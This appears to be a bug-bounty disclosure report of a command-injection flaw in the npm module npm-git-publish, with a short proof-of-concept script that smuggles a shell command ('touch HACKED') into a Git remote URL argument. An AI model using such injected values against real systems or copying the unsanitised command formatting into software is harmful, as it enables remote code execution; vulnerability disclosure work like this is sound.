Node.js third-party modules · Report #730121
[npm-git-publish] RCE via insecure command formatting
How it was found
I would like to report a RCE issue in the npm-git-publish module.
It allows to execute arbitrary commands remotely inside the victim's PC
Module
module name: npm-git-publish
version: 0.2.4-beta
npm page: https://www.npmjs.com/package/npm-git-publish
Module Description
Share/publish private packages using Git remotes!
Module Stats
[~70] downloads in the last day [268] downloads in the last week [~1k] downloads in the last month
Vulnerability Description
The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/theoy/npm-git-publish/blob/master/lib/publish.ts#L151
Steps To Reproduce:
- Create the following PoC file:
// poc.js
var git = require('npm-git-publish');
git.publish('.', 'http://gihub.com ;touch HACKED; #')
- Check there aren't files called
HACKED - Execute the following commands in another terminal:
npm i npm-git-publish # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKEDhas been created :) {F626780}
Patch
Don't format
commandsusing insecureuser's inputs:)
Supporting Material/References:
- [OPERATING SYSTEM VERSION]: Kali Linux
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
RCE via command formatting on npm-git-publish